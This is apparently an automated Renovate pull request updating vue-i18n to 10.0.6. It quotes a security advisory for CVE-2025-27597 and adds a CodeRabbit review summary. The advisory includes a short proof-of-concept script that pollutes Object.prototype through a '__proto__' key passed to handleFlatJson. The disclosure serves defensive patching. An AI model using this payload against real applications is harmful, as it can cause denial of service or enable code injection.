fix(deps): update dependency vue-i18n to v10.0.6 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vue-i18n (source)	10.0.5 -> 10.0.6

GitHub Vulnerability Alerts

CVE-2025-27597

Vulnerability type:
Prototype Pollution

Vulnerability Location(s):

# v9.1
node_modules/@​intlify/message-resolver/index.js

# v9.2 or later
node_modules/@​intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @​intlify/[email protected]
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

// poc.js
(async () => {
    const lib = await import('@​intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

---

Release Notes

intlify/vue-i18n (vue-i18n)

v10.0.6

Compare Source

What's Changed

🔒 Security Fixes

• fix: prototype pollution in handleFlatJson, about details see GHSA-p2ph-7g93-hw3m

Full Changelog: intlify/vue-i18n@v10.0.5...v10.0.6

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[coderabbitai]

Walkthrough

The change updates the version of the vue-i18n dependency in the zmscitizenview/package.json file. The version is bumped from 10.0.5 to 10.0.6, representing a minor version upgrade following semantic versioning.

Changes

File	Change Summary
zmscitizenview/package.json	Updated dependency "vue-i18n" from version 10.0.5 to 10.0.6.

Sequence Diagram(s)

Poem

Oh, I'm a rabbit with joyful hops,
Skipping through code with no sudden stops.
The dependency got a tiny new twist,
Version bumped, nothing to resist!
Hop on, my friend, let the bugs be dismissed.
In the code garden, freshness never quits!

---

📜 Recent review details

Configuration used: .coderabbit.yaml
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 00896ca and 090b248.

⛔ Files ignored due to path filters (1)

• zmscitizenview/package-lock.json is excluded by !**/package-lock.json

📒 Files selected for processing (1)

• zmscitizenview/package.json (1 hunks)

⏰ Context from checks skipped due to timeout of 90000ms (14)

• GitHub Check: Analyze (javascript-typescript)
• GitHub Check: call-owasp-security-checks / security-scan (zmsslim, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmsapi, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmsdb, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmsticketprinter, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmsdldb, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmsentities, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmsclient, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmscalldisplay, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmscitizenapi, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmsmessaging, 8.0)
• GitHub Check: call-owasp-security-checks / security-scan (zmsadmin, 8.0)
• GitHub Check: call-php-unit-tests / zmsapi-test
• GitHub Check: call-php-unit-tests / zmsdb-test

🔇 Additional comments (1)

zmscitizenview/package.json (1)

19-19: Dependency Version Update Approved

The vue-i18n package has been updated from version 10.0.5 to 10.0.6, which addresses the prototype pollution vulnerability (CVE-2025-27597) identified in the release notes. This change is aligned with the security objectives of the PR. Please ensure that downstream integration tests validate that the update does not introduce any breaking changes.

---

🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

• Review comments: Directly reply to a review comment made by CodeRabbit. Example:
  • I pushed a fix in commit <commit_id>, please review it.
  • Generate unit testing code for this file.
  • Open a follow-up GitHub issue for this discussion.
• Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
  • @coderabbitai generate unit testing code for this file.
  • @coderabbitai modularize this function.
• PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
  • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
  • @coderabbitai read src/utils.ts and generate unit testing code.
  • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
  • @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

• @coderabbitai pause to pause the reviews on a PR.
• @coderabbitai resume to resume the paused reviews.
• @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
• @coderabbitai full review to do a full review from scratch and review all the files again.
• @coderabbitai summary to regenerate the summary of the PR.
• @coderabbitai generate docstrings to generate docstrings for this PR.
• @coderabbitai resolve resolve all the CodeRabbit review comments.
• @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
• @coderabbitai help to get help.

Other keywords and placeholders

• Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
• Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
• Add @coderabbitai anywhere in the PR title to generate the title automatically.

Documentation and Community

• Visit our Documentation for detailed information on how to use CodeRabbit.
• Join our Discord Community to get help, request features, and share feedback.
• Follow us on X/Twitter for updates and announcements.